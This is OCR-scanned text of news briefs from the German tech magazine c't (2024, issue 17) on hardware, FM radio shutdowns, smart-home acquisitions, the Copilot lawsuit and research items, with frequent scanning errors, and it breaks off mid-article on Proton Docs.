im 15 Millimeter hohen 2,5-Zoll-Gehause
mit PCI-Express-4.0-Anbindung. Mit
hohen Leseraten und niedrigen Schreib-
werten ist sie zur Datensicherung ausge-
legt, etwa in Cloud-Rechenzentren. Die
BM1743 schafft sequenziell 7,2 GByte/s
lesend und lediglich 2 GByte/s schreibend.
Bei Zugriffen auf zufillige Adressen gibt
der Hersteller 1,6 Millionen IOPS lesend
und 110.000 IOPS schreibend an. Die
flinfjdhrige Garantie deckt 0,26 Lauf-
werksbeschreibungen pro Tag (Drive Wri-
tes Per Day, DWPD) ab.

Samsung will auch eine BM1743 im
Serverformat E3.S auflegen. Sie beherrscht
PCI Express 5.0 statt PCle 4.0, noch nennt
der Hersteller keine Leistungswerte. Inder
Ankiindigung stellt Samsung auflerdem
122,88-TByte-SSDs mit seinen aktuellen
QLC-Bausteinen in Aussicht, weitere De-
tails fehlen ebenfalls noch. (mma@ct.de)

Sony stoppt Produktion

von DVD-Medien

Sony ist einer der verbliebenen Hersteller
von beschreibbaren Blu-ray- und DVD-
Medien. Nunwill das Unternehmen deren
Produktion schrittweise einstellen, wie ein
Unternehmenssprecher gegeniiber einem
japanischen Fachmedium bekannt gab.
Rund 250 Jobs werden im japanischen
Standort Tagajo City entfallen, eine Ver-
legung ins Ausland ist nach seinen Anga-
ben nicht geplant.

Der Verkauf der Medien an Geschifts-
kunden und die Filmindustrie soll erst
einmal weitergehen, die Einstellung der
Produktion betrifft zunédchst etwa die BD-
Serien mit 25, 50, 100 und 128 GByte.
Einen genauen Termin fiir die endgiiltige
Abschaltung der Produktion hat das Un-
ternehmen nicht genannt. Auch bei Ent-
wicklung und Produktion von Bandme-
dien will Sony sparen. (ll@ct.de)

Japan verbannt Disketten

In mehr als 1000 japanischen Verordnun-
gen wurde bislang der Gebrauch von Dis-
ketten zur Dateniibermittlung vorgeschrie-
ben, doch das ist nun (fast) endgiiltig Ge-
schichte. Am 28. Juni verkiindete Japans
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Digitalminister Taro Kono, den ,,Krieg
gegen Disketten“ gewonnen zuhaben. Le-
diglich eine Umweltvorschrift tiber das
Recycling von Fahrzeugen blieb von der
Anderung verschont. (l@ct.de)
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High-End-Kiihler mit Doppelpropeller

fiir AMDs und Intels CPU-Hitzkopfe

Der Noctua NH-D15 G2 tritt fiir
optimale Kiihlleistung in drei
Varianten mit unterschiedlichen
Grundplatten an. Zudem spendiert
ihm der Hersteller Ventilatoren mit
besonders schmalem Luftspalt.

Der Osterreichische Kiihlerspezialist Noc-
tua hat nach rund 10 Jahren sein Topmo-
dell NH-D15 aktualisiert, das leistungs-
starke CPUs mit iber 230 Watt Abwirme
wie den Core i9-14900K und Ryzen 9
7950X im Zaum halten soll. Die zweite
Generation NH-D15 G2 soll durch acht
statt sechs Heatpipes und zwei moderni-
sierten Liiftern vom Typ NF-A14x25r G2
eine bessere Kiihlleistung bieten. Dadurch
soll die Kerntemperatur um zwei bis drei
Grad Celsius sinken. Der Hersteller ver-
spricht, dass der Kiihler aufgrund der
asymmetrischen Anordnung des Lamel-
lenpakets bei den meisten Mainboards
nicht in Konflikt mit der Grafikkarte im
obersten PEG-Slot gerit.

Die beiden Liifter NF-A14x25r G2
haben einen Laufradspalt von lediglich
0,7 Millimetern sowie abgewinkelte Ro-
torblatter mit kleinen Luftkanélen, was
den Durchsatz sowie das Lautstédrkever-
halten verbessert. Sie arbeiten mit einer

um 25 U/min versetzten Drehzahl, um
Schwebungseffekte (, Brummen®) zu ver-
ringern. Der NH-D15 G2 passt auf alle
gingigen CPU-Fassungen wie beispiels-
weise AMD AM4 und AMS5 sowie Intel
LGA1700 und LGA1851. Dank der mo-
dularen Halterung lasst sich der Kihler
auch auf kommenden CPU-Generatio-
nen installieren.

Als Besonderheit gibt esden NH-D15
G2indrei Varianten, deren Grundplatten
konvex, aber unterschiedlich ausgeformt

Bild: Noctua

sind. Low Base Convexity (LBC) bietet
optimalen Kontakt zu Ryzen-CPUs mit
AM4-und AM5-Fassung. High Base Con-
vexity (HBC) ist auf LGA1700-Prozes-
soren mit vollem Anpressdruck ange-
passt. Die Standardvariante eignet sich
tiir alle CPU-Typen, die Kerntemperatur
liegt im Vergleich zu den optimalen Va-
rianten geringfiigig um ein bis zwei Grad
Celsius hoher. Der Noctua NH-D15 G2
kostet inklusive sechs Jahren Garantie 150
Euro. (chh@ct.de)

Aus der Grundplatte des Noctua
NH-D15 G2 schldngeln sich acht
Heatpipes zum Lamellenpaket.

Steam Hardware-Umfrage: Nvidia
dominiert bei Gaming-Grafikkarten

Der Software-Client der Spieleplattform
Steam erhebtim Monatstakt eine Stichpro-
be liber die von Nutzern verwendete Hard-
ware. Weil Steam tiber 130 Millionen Nutzer
hatund es auch auf Rechnern mit Linuxund
macOS lauft, gibt die Umfrage einen guten
Einblick tiber die Ausstattung der aktuell
eingesetzten Gaming-PCs. Bei Windows
kiindigt sich der Umschwung von Windows
10 auf11an. 46,6 Prozent haben bereits die
aktuelle Version, Windows 10 kommt auf
49,4 Prozent Anteil. Insgesamt bleibt Win-
dows fiihrend. 97 Prozent der Gamer nutzen
das Microsoft-Betriebssystem, Linux und
macOSverwenden lediglich knapptiber ein
beziehungsweise zwei Prozent.

Das Verhiltnis zwischen AMD und
Intel bei den CPU-Herstellern bleibt mit
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33zu 67 Prozent beix86-Systemen nahezu
konstant. Drei Viertel der Windows-Nutzer
haben einen Prozessor mit sechs oder
mehr Kernen, beimacOS spielen Dual-und
Quad-Cores mit jeweils 10 Prozent Anteil
ebenfalls nur noch eine untergeordnete
Rolle. Anders sieht es bei Steam unter
Linux aus, wo 54 Prozent noch einen Vier-
kernprozessor zum Zocken verwenden.
Beiden Grafikchips dominiert weiter-
hin Nvidia. Auf den ersten 15 Platzen ran-
gieren GeForce-GPUs fiir Desktop-PCs
und Notebooks. Bei x86-Gaming-Syste-
men hilt Nvidia einen Anteil von 76 Pro-
zent. Fiir AMD und Intel bleiben lediglich
15,6 beziehungsweise 7,7 Prozent {ibrig.
Weil die Systemanforderungen der 3D-
Spiele weiter zunehmen, stecken in 47

Auf Platz 1 der auf der Spieleplattform
Steam derzeit meistgenutzten Gaming-
Grafikkarten liegt die drei Jahre alte Ge-
Force RTX 3060.

Prozent der Rechner 16 GByte Arbeitsspei-
cher und in 29 Prozent bereits 32 GByte
RAM. (chh@ct.de)
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Schlauer Ring

Samsung startet den Verkauf seines
Fitness-Wearables Galaxy Ring. Auch
neue Foldables, Smartwatches und
Kopfhorer sind im Anmarsch.

Der Samsung Galaxy Ring ist mit drei
Gramm federleicht. Es gibtihnin neun Gro-
8en und in den Farben Schwarz, Silber und
Gold. Die Oberseite besteht aus Titan, innen
verwendet Samsung Kunststoff. Der Akku
sollje nach Grofie bis zu eine Woche halten,
danach muss erim Ladecase Strom tanken.
Das Case ladt iber USB-C und drahtlos.

Mit den Sensoren an der Innenseite
misst der Ring die Herz- und Atemfre-
quenzund erkennt Bewegungen. Er iiber-
wacht den Schlaf und registriert Schnar-
chen. Auch die Zykluserfassung zahlt zu
den Funktionen des Galaxy Ring. Die
Datenwerden in der Samsung-Health-App
gesammelt, aufbereitet und grafisch dar-
gestellt. Triagt man zusitzlich eine Sam-
sung-Smartwatch, kombiniert die App die
Daten beider Wearables.

Der Galaxy Ring kostet 449 Euro. Ein
kostenpflichtiges Abo, wie es etwa der
ahnlich konzipierte Oura Ring voraus-
setzt, gibt es bei Samsung nicht. Mindes-
tens Android 11 und die Health-App sind
zur Nutzung allerdings erforderlich.

Dariiber hinaus hat Samsung mit dem
Galaxy Z Fold 6 und Flip 6 seine neuen
Falt-Smartphones vorgestellt, auch sie
sind ab sofort bestellbar. Das kompakte
Flip 6 (ab 1199 Euro) hat mit mehr RAM
(nun 12 GByte), mindestens 256 GByte
internem Speicher, stirkerem Akku und
einer neuen 50-Megapixel-Kamera ein
deutliches Upgrade bekommen. Das
grofde Fold 6 (ab 1999 Euro), das aufge-
klappt fast schon Tablet-Maf3e hat, wurde
eher sanft gepflegt. In beiden Foldables
steckt der Qualcomm Snapdragon 8 Gen
3. Dessen Abwirme sollen neue, vergro-
Berte Kiihlsysteme im Zaum halten.

Zum Ring und den Smartphones ge-
sellen sich noch zweineue Smartwatches:
Die 699 Euro teure Samsung Galaxy

Die Konferenz fur Data Scientists,
Data Engineers und Data Teams

Themenschwerpunkte:

Samsung-Neuheiten | Aktuell

Watch Ultra halt mit ihrem Titangehéduse
besondersviel aus, die Galaxy Watch 7 (ab
319 Euro) gibt es in zwei Grofien (40 und
44 Millimeter). Mit den Galaxy Buds 3 (179
Euro) und den Galaxy Buds 3 Pro (249
Euro) schiebt Samsung aufderdem zwei
(sht@ct.de)

neue In-Ears nach.

Der Samsung Galaxy Ring muss mindes-
tens einmal die Woche in sein Ladecase.
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Aktuell | UKW-Radio

Sendeschluss

Aus fiir UKW-Radio in Schleswig-Holstein
und in der Schweiz beschlossen

Im kommenden Jahr beenden im
nordlichsten Bundesland die
ersten Sender die UKW-Verbrei-
tung. In den anderen Bundeslan-
dern und in Osterreich gibt es
hingegen noch keinen Fahrplan
fir den Ausstieg, trotz hoher
Kosten fiir die parallele Aus-
strahlung liber UKW und das di-
gitale Verfahren DAB+.

Von Falk Steiner und Christian Wolbert

S chleswig-Holstein verabschiedet sich
von 2025 bis 2031 schrittweise vom
analogen terrestrischen Radioempfang.
Abdann gibtesim hohen Norden Horfunk
nur noch per DAB+, Kabel oder Internet.
Diesen Plan verkiindeten Ende Juni die
privaten und 6ffentlich-rechtlichen Radio-
sender gemeinsam mit der Landesregie-
rung sowie der Landesmedienanstalt.
Schleswig-Holstein ist damit das erste
Bundesland mit einem Fahrplan fiir den
Wechsel von UKW zu DAB+.

Vorangegangen war eine jahrelange
Diskussion dariiber, ob DAB+ und Inter-
netstreaming die UKW-Ausstrahlung er-
setzen konnen. Die nun gefundene Eini-
gung sieht einen Umstieg in mehreren
Schritten vor: Schon 2025 steigen der
Deutschlandfunk sowie die drei Privat-
sender BOB!, Delta Radio und Antenne
Sylt aus der UKW-Verbreitung aus. Der
Norddeutsche Rundfunk wechselt von
2025 bis 2031 sukzessive zur ausschlief3-
lich digitalen Verbreitung. Der Privatsen-
der R.SH wird voraussichtlich Ende Juni
2031alsletzter Sender die UKW-Ausstrah-
lungbeenden, 20 Jahre nach dem Start von
DAB+ in Deutschland.

Details zu den Umstiegsplanen ver-
offentlichen die offentlich-rechtlichen
und die privaten Sender unter dabplus.de/
sh. In einer gemeinsamen Pressemittei-
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lung betonen sie, dass sie ,,letzte lokale
Liicken" im DAB+-Netz vor dem Umstieg
durch zusitzliche Sendeanlagen schliefden
wollen. ,,Damit wird sichergestellt, dass
beim Wechsel alle regionalen Programme
weiterhin iber Antenne verfiigbar sind.”

Laut der Studie ,,Audio Trends 2023
der Landesmedienanstalten haben aktuell
allerdings erst 34 Prozent der Haushalte
in Schleswig-Holstein ein DAB+-fihiges
Gerit, ungefihr so viele wie im Bundes-
durchschnitt (33 Prozent). Beriicksichtigt
sind dabei auch Haushalte, die nurim Auto
DAB+ empfangen konnen. Viele Men-
schen in Schleswig-Holstein miissen in
den néchsten Jahren also ein Digitalradio
kaufen, wenn sie weiter tiber Antenne
horen wollen. Immerhin ist der Anteil der
Haushalte mit DAB+-Radio in Schleswig-
Holstein zuletzt schnell gestiegen; 2022
waren es erst 27 Prozent.

Proteste der Privatsender

Die schwarz-griine Landesregierung hatte
sichin ihrem Koalitionsvertrag vorgenom-
men, Schleswig-Holstein zur ,,digitalen
Horfunkvorreiterregion® zu machen. Hilf-
reich bei den Verhandlungen diirfte der
Umstand gewesen sein, dass es in Schles-
wig-Holstein im Vergleich zu anderen
Bundeslandern nur wenige werbefinan-
zierte Sender gibt. Aulerdem strahlen aus
Nachbarbundesldndern nur wenige Sen-
der nach Schleswig-Holstein ein. Fiir die
Senderimnordlichsten Bundesland ist die
Gefahr also relativ gering, dass ihre Horer
nach dem UKW-Ende zur Konkurrenz
wechseln.

Indenanderen 15 Bundeslidndern gibt
es keine konkreten Pldne, die UKW-Aus-
strahlung zu beenden. Sachsen-Anhalt
und Sachsen hatten urspriinglich per Ge-
setzden Umstieg auf DAB+ bis Ende 2025
verordnet, beide Landesregierungen stri-
chen diese Regelungen jedoch nach Pro-
testen privater Sender wieder. Die bayeri-
sche Landesmedienanstalt wollte die
UKW-Lizenzen spétestens bis 2032 aus-
laufen lassen, auch dagegen liefen die

Bild: Michael Pollak, CC-BY 2.0

Privatsender Sturm. Die neue Koalition
aus CSU und Freien Wahlern sprach sich
in ihrem Koalitionsvertrag fiir eine Ver-
langerung der UKW-Lizenzen bis 2035
aus. Die Privatsender befiirchten, dass sie
durch das UKW-Aus an Reichweite ver-
lieren.

Teurer Simulcast

Es zeichnet sich aber ab, dass die Offent-
lich-Rechtlichen bis 2032 bundesweit aus
der UKW-Verbreitung aussteigen. Denn
die Kommission zur Ermittlung des
Finanzbedarfs der Rundfunkanstalten
(KEF) will die Kosten fiir die UKW-Ver-
breitung ab 2033 nicht mehr anerkennen.
Urspriinglich wollte sie dies schon ab2029
nicht mehr tun, sie verschob das Zielda-
tum aber ,,aufgrund immer noch nicht ge-
troffener medienpolitischer Entscheidun-
gen beziiglich eines koordinierten Aus-
stiegs aus der UKW-Verbreitung®. Die KEF
sieht den Simulcast, also die Simultan-
iibertragung von UKW und DAB+, auf-
grund der hohen Kosten seit Langem kri-
tisch. Ihr zufolge liegen die Kosten fiir die
UKW-Verbreitung der 6ffentlich-rechtli-
chenSender (ARD und Deutschlandradio)
von 2025 bis 2028 bei 221 Millionen Euro.
Die Kosten fiir die reine DAB+-Verbrei-
tung liegen nach Schitzung der ARD bei
80 Prozent der UKW-Kosten.

Deutlich schneller geht es in der
Schweiz voran: Ende Juni verklindete die
offentlich finanzierte Schweizerische
Radio- und Fernsehgesellschaft, dass sie
schon Ende 2024 aus UKW aussteigt. Die
privaten Sender machen in der Schweiz
spitestens Ende 2026 Schluss.

In Osterreich startete DAB+erst 2018,
deswegenist ein UKW-Ausstieg dort noch
kein Thema. ,,Im Vergleich zu einer weit
iiber 20-jahrigen Geschichte von DAB/
DAB+ in Deutschland ist wahrscheinlich
nachvollziehbar, dass Gedanken iiber eine
Abschaltung von UKW fiir uns noch kei-
nerlei Relevanz haben®, sagte ein Sprecher
der Regulierungsbehdrde KommAustria
auf Anfrage. (cwo@ct.de) ¢t

c't 2024, Heft 17



Smart Home | Aktuell

LG kauft Smart-Home-Plattform Homey auf

LG integriert die Homey-Plattform
in das eigene System ,,LG ThinQ Al
Home Business”. Ziel sei es, per-
sonalisierte Losungen fiir das
smarte Heim zu bieten. Allerdings
soll es Homey weiter geben.

LG Electronics hat bekannt gegeben, 80
Prozent der Anteile am niederldndischen
Unternehmen Athom erworben zu haben.
Athom ist vor allem fiir seinen Smart-
Home-Hub ,,Homey* bekannt, der in der
aktuellen Pro-Ausfithrung verschiedene
Verbindungsmethoden -wie WLAN, Blue-
tooth, Z-Wave, Matter und Thread -unter-
stiitzt und sich dadurch nach Hersteller-
angaben mit mehr als 50.000 Geriten
verbinden ldsst.

Laut LG handele es sich bei dem Kauf
um einen strategischen Schritt, der darauf
abziele, die Konnektivitit der eigenen Ge-
rite in offenen Smart-Home-Okosyste-
men zu verbessern. Durch den Erwerb

habe der Technologiekonzern die Mog-
lichkeit erhalten, Gerite und Dienste an-
derer Anbieter in sein eigenes Okosystem,
insbesondere in seine ThinQ-Plattformen
zu integrieren. Der Ansatz erinnert an
Samsungs ,SmartThings“-Plattform, iber
die sich ebenfalls Gerite verschiedener
Hersteller vernetzen lassen, unter ande-
rem von Philips Hue, Ring, Yale, Eve
Home und Nuki.

In der offiziellen Pressemitteilung
geht LG sogar so weit, ,,seinen Anspruch
zu untermauern”, kiinftig eine fiihrende
Rollein der Ara der KI-getriebenen Heim-
innovation zu tibernehmen. So werde die
Athom-Ubernahme LG tiefere Einblicke
in das Nutzungsverhalten der Kunden
geben und die Bereitstellung personali-
sierter Dienste beschleunigen.

Dasjetzige Abkommen umfasst Pline,
innerhalb der ndchsten drei Jahre auch die
restlichen 20 Prozent an Athom zu erwer-
ben. Allerdings soll das niederlandische

Unternehmen auch nach der Ubernahme
weiterhin unabhéngig operieren und seine
Geschiftstatigkeit und Markenfiihrung
beibehalten. So sollen Synergien in den
Bereichen Geschaftsentwicklung, For-
schung und Entwicklung sowie Plattform-
nutzung gefordert werden. Der aktuelle
Homey-Pro-Hub ist erst Mitte 2023 auf
den Markt gekommen. (nij@ct.de)

Die jetzt von LG (ibernommene Firma
Athom bezeichnet ihren ,Homey Pro”
als ,fortschrittlichsten Smart-Home-
Hub der Welt".

Echo Spot: Neuer smarter Wecker mit integrierter Alexa

Wihrend Amazon in den vergangenen Jah-
renregelmiflig neue Varianten seines smar-
ten Displays ,,Echo Show* herausbrachte,
erhielt der Anfang 2018 auf dem deutschen
Markt erschienene smarte Wecker ,Echo
Spot“ sechs Jahre lang keinen Nachfolger
-wohl auch, weil sich nicht jeder ein Gerit
mitintegrierter Kamera ans Bett stellen will.
Diese ist aus dem ab sofort erhiltlichen
Echo Spot 2 nun verschwunden.

Augenscheinlich ist auch eine weite-
re Anderung: Statt eines kreisrunden Vi-
deodisplays bietet die Neuauflage nur
noch eine horizontale Digitalanzeige, die
2,83 Zoll (7,2 Zentimeter) in der Diago-
nale misst und 240 x 320 Pixel zeigt. Die
untere Halfte der Front nimmt ein Breit-
bandlautsprecher mit 44,5 Millimeter
Durchmesser ein, der filir guten Klang,
klare Stimmenwiedergabe und tiefe
Basse sorgen soll. Audioanrufe zu ande-
ren Alexa-Kontakten sowie Durchsagen
in einem mit Echo-Geriten gefiillten
Haushalt ldsst die Kombination aus (de-
aktivierbarem) Mikrofon und Lautspre-
cher weiterhin zu.

An der grundsitzlichen Ausrichtung
des Geriits als stylischer, personalisierter
Wecker mitintegrierter Sprachassistentin

c't 2024, Heft 17

hat sich nichts geandert; passend dazu gibt
es verschiedene Uhrendesigns in knalli-
gen Farben. Das Touchdisplay mit schritt-
weise heller werdendem Licht ermdglicht
weiterhin das Einstellen und Anzeigen von
Weckern, der Uhrzeit, des Wetters, Smart-
Home-Schaltflichen oder Songtiteln.

Bild: Amazon Devices

Musik, Podcasts und Horbiicher lassen
sich von Anbietern wie Amazon Music,
Apple Music und Spotify abspielen.
Schlief3lich hat Amazon beim Echo Spot
2 kréftig den Preis gedriickt: Kostete der
Erstlingnoch satte 130 Euro, liegt der Listen-
preis nun bei rund 95 Euro. (nij@ct.de)

Amazons smarten
Wecker gibt es in
der Neuauflage in
drei Farben:
Schwarz, Weil3
und Blau.
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Aktuell | Open Source

GitHub verbucht Erfolge in Sammelklage
gegen seinen Copilot

Eine Sammelklage gegen den KI-Pro-
grammierassistenten GitHub Copilot
verliert zunehmend an Boden. Zuletzt
lehnte das Gericht einen zentralen
Klagepunkt endgiiltig ab. Ganz aus-
gemacht ist die Sache aber noch
nicht.

Fiir eine Sammelklage gegen GitHubs Co-
pilot sieht es nicht gut aus. Der zustandige
Richter am Bundesbezirksgericht im nord-
lichen Distrikt Kaliforniens stimmt mehr
und mehr Argumenten des Betreibers zu

The world’s most widely
adopted Al developer tool.

Da freut sich das KI-Maskottchen: Git-
Hubs Copilot verst68t nicht gegen den
Digital Millennium Copyright Act.

und verwirft die damit angegriffenen An-
klagepunkte.

In dem Verfahren beschuldigt eine
Reihe von anonym gehaltenen GitHub-
Nutzern das Unternehmen und seine Mut-
terfirma Microsoft, mit Copilot mehrere
Rechte von Programmieren zu verletzten,
mit deren offentlichem Code das System
trainiert wurde. Die Klage richtet sichauch
gegen OpenAl, auf dessen System Codex
der Copilot aufbaut. Indem Verfahren, das
seit November 2022 lduft, hatte Richter
Jon Tigar bereits mehrere Klagepunkte
zurlickgewiesen. Nun lehnte er in einem
Anfang Juli verdffentlichten Beschluss
drei weitere Punkte ab.

Zweidavon betreffen Schadensersatz-
forderungen und deren mégliche Grund-
lage sowie die Forderung von Strafscha-
densersatz (punitive damages). Beide
Punkte tiberzeugten das Gericht aus forma-
len und inhaltlichen Griinden nicht, es er-
laubte den Kldgern aber, sie mit verbesser-
ter Argumentation erneut vorzubringen.

Schwerer wiegt, dass Richter Tigar
auch den Vorwurfeines DMCA-Verstof3es

abgewiesen hat, einen der zentralen Punk-
te der Klage. Der Digital Millennium
Copyright Act (DMCA) verbietet es,
Copyright-Informationen zu entfernen.
Die Klédger argumentieren, dass GitHub
Copilot genau das tue, wenn das System
veroffentlichte Codeschnipsel reprodu-
ziert - und dabei nicht die Copyright-In-
formation mitliefert. Das Gericht stellt
jedoch fest, dass DMCA-Verletzungen
eine identische Reproduktion erfordern,
was die Klager nicht belegt hitten.

Diese Kritik hatte das Gericht schon
in einer fritheren Ablehnung angefiihrt.
Weil sie nicht ausgeraumt wurde, lehnte
es den Klagepunkt nun endgiiltig (with
prejudice) ab. Nochim Rennenist dagegen
ein zweiter zentraler Vorwurf, GitHub
wiirde mit dem Copiloten gegen Open-
Source-Lizenzen verstofden und Vertrags-
bruch begehen. GitHubs Argumentation,
warum auch dieser Klagepunkt abzuleh-
nen sei, iiberzeugte das Gericht nicht.

(syt@ct.de)

Gerichtsbeschluss: ct.de/y4se

Code-Editor Zed jetzt auch fiir Linux

Der Editor Zed steht nun auch fiir Linuxer
bereit, bislang war das Programm macOS-
Nutzern vorbehalten. Eine Windows-Ver-
sion lasst sich manuell kompilieren. Zed
richtet sich an Programmierer und legt
groBen Wert auf Geschwindigkeit sowie
Arbeiten im Team. Die Entwickler hatten
zuvor am Editor Atom gearbeitet und
unter anderem das Syntax-Parsing-Frame-
work Tree-sitter entwickelt.

Atom wurde inzwischen eingestellt
und Zed gilt als spiritueller Nachfolger, der
allerdings auf einen anderen technischen
Unterbau setzt: Statt Electron ist Zed in
Rust geschrieben und bringt unter ande-
rem ein eigenes User-Interface-Frame-
work GPUI mit, das die GPU fiir Hard-
warebeschleunigung einspannt. Auf
macOS nutzt es dafiir ,,Metal“, ein Low-
Level-Grafik-API von Apple. Unter ande-
rem deshalb bedeutete es viel Arbeit, den
Editor auf Linux zu portieren, wo Metal
nicht zur Verfligung steht. Im Firmenblog
danken die Entwickler ihrer Community
und besonders einigen einzelnen Helfern,

38

Source-Lizenzen gestellt.

Meldung im Firmenblog: ct.de/y4se

Egal ob macOS oder Linux:
Zed ist ein Editor fiir Power-User.

- Gnome-Founda-
N L]

die entscheidende Beitrige fiir den Port : tion SUCht Execu-
so schnell vorangetrieben hatten. Im : ge °
Januar dieses ]ahrgs hatten die Zed-Ent- : tlve DI reCtor
wickler dessen Quellcode unter Open- :
(syt@ct.de) :
¢ Julidie Geschifte der Gnome Foundation,
: der Stiftung hinter dem Linux-Desktop
: Gnome. Danach iibernimmt interims-
: weise Richard Littauer. Thn arbeitet Mil-
: lion bis zu ihrem Abschied ein, um einen
© reibungslosen Ubergang zu ermdglichen,
wie die Foundation mitteilt.

Holly Million fiihrt nur noch bis zum 31.

Holly Million hatte den Posten erst

: vergangenen Oktober angetreten, nach-
. dem er fast zwei Jahre vakant war. Unter
¢ ihrer Fiihrung hat die Foundation unter
i anderem einen Fiinfjahresplan entworfen,
: der das Gnome-Projekt langfristig ab-
¢ sichern soll (siehe c’t 14/2024, S. 41). Zu
¢ Redaktionsschluss war offen, wie die
¢ Suche nach einem dauerhaften Nachfolger
i ablaufen soll. Einen ,,Suchplan® will die
: Foundation nach Ende der Gnome-Kon-
: ferenz GUADEC am 24. Juli 2024 verof-
¢ fentlichen.

(syt@ct.de)

c't 2024, Heft 17



Das Magazin
von Fotografen
fur Fotografen

Fotograf und
c't Fotografie-Redakteur

Thomas Hoffmann, fotografiert am
liebsten Landschaft und Natur,

»Flir aufiergewohnliche Fotos
braucht man nicht nur eine
verldssliche Ausriistung, auch
Geduld und Zufall spielen eine
grofie Rolle.”

Thomas Hoffmann

2x C't Fotografie testen

O 2 Ausgaben kompaktes Profiwissen
fur 14,30 €

O 35% Rabatt gegeniiber Einzelheftkauf
O Inklusive Geschenk nach Wahl Jetzt bestellen:

O Wochentlicher Newsletter exklusiv www.ct-foto delminiabo
fiir Abonnenten * ’

@ www.ct-foto.de/miniabo Qo +49 541/80 009 120 [ leserservice@heise.de




Aktuell | Forschung

Popsongs werden seit 1950 immer simpler

Ein englisches Forscherduo hat mehr
als 350 populire Songs der vergan-
genen 70 Jahre analysiert und fand
heraus: Die Melodien wurden immer
schlichter. Ein Grund kénnte die mo-
derne Loop-Technik sein.

Musik wird beherrscht von Trends: Inden
60er-Jahren dominierten britische Rock-
bands wie die Beatles die Charts, in den
90er-Jahren war Hip-Hop modern. Nun
zeigten Forscher vom Music Cognition
Lab der Queen Mary University of Lon-
don, dass sowohl die Melodien als auch
die Rhythmen der beliebtesten Popsongs
in den letzten 70 Jahren immer schlichter
wurden.

Fiir ihre Studie betrachteten Madeli-
ne Hamilton und Marcus Pearce die Top-
5-Songs der US-amerikanischen Billboard
Charts von 1950 bis 2023. Im Fachma-
gazin ,Scientific Reports” analysierten sie
die insgesamt 366 Lieder anhand der
MIDI-Transkriptionen ihrer Hauptmelo-
dien.

Das Team fand heraus, dass die Kom-
plexitit der Rhythmen und der Melodie
im Laufe der Jahre abnahmen. Die durch-

schnittliche Anzahl der gespielten Noten
pro Sekunde nahm hingegen zu. Konkret
identifizierten die Forscher zwei Spriinge
inden Jahren 1975 und 2000 sowie einen
kleineren im Jahr 1996.

Den Sprung 1975 fiihren sie auf das
Aufkommen von New Wave, Disco-Musik
und Stadion-Rock zuriick. In den 90er-
und Nullerjahren sehen die Autoren hin-
gegen Einfliisse des Hip-Hops und Loop-
basierter Audiogerite in Musikstudios, die
kurze Phrasen haufig wiederholen, als
ausschlaggebend an.

Hamilton und Pearce spekulieren,
dass die Vereinfachung auf die gestiegene

Notenzahl zuriickzufiihren sei. Mit simp-
leren Melodien und Rhythmen versuchen
die Songschreiber dann zu vermeiden,
ihre Horer zu Gberfordern. Andererseits
konnte es auch sein, dass sich die Musik
an einen allgemeinen Trend des digitalen
Zeitalters anpasst. Um Informationen mit
begrenzter Zeichenzahl zu teilen, miisse
Sprache zunehmend verkiirzt werden. Das
reduziere die Komplexitit und konne dazu
fithren, dass Horer komplexe Inhalte nicht
mehr verarbeiten konnen.  (spa@ct.de)

Publikationen der Forscher: ct.de/yxph

~Hey Jude” von
den Beatles war
1968 Nummer "
Eins der Bill-
board Charts.
Die MIDI-Datei
veranschaulicht
die Tonh6éhen - MR I A |
und wie komplex |l | |

die Melodie ist. I 1 | [
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Internes Mikrofon fiir Cochlea-

Implantate

Ein piezoelektrisches Mikrofon, kaum so
lang wie ein Reiskorn, konnte einmal
Cochlea-Implantate als Horprothesen er-
gianzenund die heute tiblichen Mikrofone
auflen am Kopfersetzen. Einem Team von
Forschern des MIT, der Harvard Medical
Schoolund der Columbia University ist es
gelungen, ihr Winzmikrofon aus biokom-
patiblem Piezomaterial aufzubauen und
sogarnoch einen rauscharmen Verstérker
zu integrieren.

Bisherige Cochlea-Patienten tragen
Auflenmikrofone, die beispielsweise beim
Sport storen und mit denen sie Gerdusche
nicht gut raumlich lokalisieren kénnen.
Die neue Mikrofontechnik reagiert piezo-
elektrisch schon auf Schwingungen von
wenigen Nanometern. Damit kann sie,
direkt am Trommelfell eingepflanzt, des-
sen Ausschlédge in Stromimpulse tiberset-
zen. Auf diese Weise kann die neue Tech-
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Bild: MIT

nik sogar leise Tone und breite Frequenz- :
spektren einfangen. Die Entwickler erhof- :
fen sich, dass Chirurgen das Mikrofon in :
Zukunft gemeinsam mit dem Cochlea- :
Implantat in einer einzigen Operation :
(agr@ct.de) :
¢ niz-Institut fiir innovative Mikroelektro-
: nik sowie Partnern der Unis Pisa, Bolog-
¢ naund Leeds Zinn zu Germanium hinzu-
: gefligt. Das resultierende Material zeigt
© eine sehr geringe thermische Leitfihig-
© keit und ldsst sich in eine CMOS-Chip-
: fertigungintegrieren, zumal Germanium
. und Zinn derselben Elementgruppe wie
: Silizium angehoren. Indem Chipkompo-
. nenten aus der neuen Legierung Tempe-
. raturunterschiede nicht tiberbriicken,
¢ sondern in elektrischen Strom wandeln
: konnten, liefle sich damit zugleich der

Reiskorns. Es kann feine Vibrationen des :
: Bedarf an externer Kiihlung senken.

einsetzen konnen.

r J

J

Das interne Mikrofon, hier von zwei Sei-
ten aufgenommen, hat die Lange eines

Trommelfells piezoelektrisch in Strom-
impulse umsetzen.

. Strom aus
. Chip-Warme

Mithilfe einer thermoelektrischen Legie-
rung sollen Mikrochips der Zukunft ihre
Abwirme in Elektrizitit riickwandeln.
Eine Forschergruppe unter der Leitung
von Dan Buca am Forschungszentrum
Jillich hat dazu gemeinsam mit dem Leib-

(agr@ct.de)
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Verschliisselt texten im Browser

Google Docs, aber ohne Schniiffelei
- das verspricht Proton Docs, die
Online-Textverarbeitung des Schwei-
zer Anbieters von Ende-zu-Ende-ver-
schliisselten Internetdiensten.

Das Browser-Textprogramm von Proton
lasst sich noch einfacher nutzen als Goo-
gle Docs und Word Online, was am etwas
geringeren Funktionsumfang liegt. An-
ders als die Konkurrenz bietet Proton nur
einen Texteditor, Tabellenkalkulation
oder Prasentationsprogramm gibt es
nicht. Die Besonderheit ist die schon von
den anderen Proton-Diensten (Mail,
Cloudspeicher) bekannte Ende-zu-Ende-
Verschliisselung. Damit richtet sich das
Angebot an Nutzer, die Texte solo oderim
Team im Webbrowser bearbeiten wollen,
sich aber keine Sorgen machen mochten,
dass der Betreiber Inhalte lesen und ver-
arbeiten kann, zum Beispiel fiir das Trai-
ning von KI-Sprachmodellen. Die Ver-

schliisselung lauft laut Proton vollautoma-
tisch und erfordert keine Mafinahmen
oder Kenntnisse der Nutzer.

Ahnlich wie bei Googles Web-Office
